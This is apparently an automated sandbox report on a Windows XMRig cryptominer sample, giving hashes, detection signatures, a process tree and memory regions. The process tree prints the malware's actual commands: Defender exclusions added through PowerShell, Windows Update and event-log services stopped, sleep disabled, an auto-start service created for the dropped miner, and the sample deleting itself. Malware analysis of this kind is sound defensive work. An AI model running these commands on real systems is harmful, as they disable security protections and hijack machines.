Analysis

  • max time kernel
    119s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    19-12-2024 21:16

General

  • Target

    2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe

  • Size

    5.6MB

  • MD5

    9da56c33078a3441730bc7168a3e59c0

  • SHA1

    3f72f7bac9d7e4c278ed398cbe9a7a2849b8af65

  • SHA256

    2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858

  • SHA512

    b587778508c640ba20a06222d4f2b243d521b363bcba61aaf62d432ddfb33e39fa7c3e46261a92fd8e1b0c984ff8752dc6e1a3f04bf4f2ec961b89738c4cd6d6

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe
    "C:\Users\Admin\AppData\Local\Temp\2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2264
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2772
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2864
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2756
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:1716
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2604
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2696
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2644
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2268
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1792
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1228
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1572
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2568
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:900
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:2116
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:1564
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:1520
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:1032
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:292
    • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:296
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:448
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:2932
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1020
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2344
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1200
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1528
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:332
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2084
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1648
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2452
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2128
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2420
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2488

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • \ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

        Filesize

        5.6MB

        MD5

        9da56c33078a3441730bc7168a3e59c0

        SHA1

        3f72f7bac9d7e4c278ed398cbe9a7a2849b8af65

        SHA256

        2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858

        SHA512

        b587778508c640ba20a06222d4f2b243d521b363bcba61aaf62d432ddfb33e39fa7c3e46261a92fd8e1b0c984ff8752dc6e1a3f04bf4f2ec961b89738c4cd6d6

      • memory/2420-19-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2420-20-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2420-21-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2420-22-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2420-26-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2420-23-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2488-30-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-37-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-41-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-40-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-36-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-38-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-39-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-29-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-31-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-32-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-33-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-28-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2488-35-0x00000000003E0000-0x0000000000400000-memory.dmp

        Filesize

        128KB

      • memory/2488-34-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2772-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

        Filesize

        2.9MB

      • memory/2772-6-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

        Filesize

        32KB

      • memory/2772-8-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

        Filesize

        9.6MB

      • memory/2772-4-0x000007FEF6B5E000-0x000007FEF6B5F000-memory.dmp

        Filesize

        4KB

      • memory/2772-7-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

        Filesize

        9.6MB

      • memory/2772-12-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

        Filesize

        9.6MB

      • memory/2772-9-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

        Filesize

        9.6MB

      • memory/2772-10-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

        Filesize

        9.6MB

      • memory/2772-11-0x000007FEF68A0000-0x000007FEF723D000-memory.dmp

        Filesize

        9.6MB

      • memory/2840-18-0x0000000000AA0000-0x0000000000AA8000-memory.dmp

        Filesize

        32KB

      • memory/2840-17-0x0000000019D60000-0x000000001A042000-memory.dmp

        Filesize

        2.9MB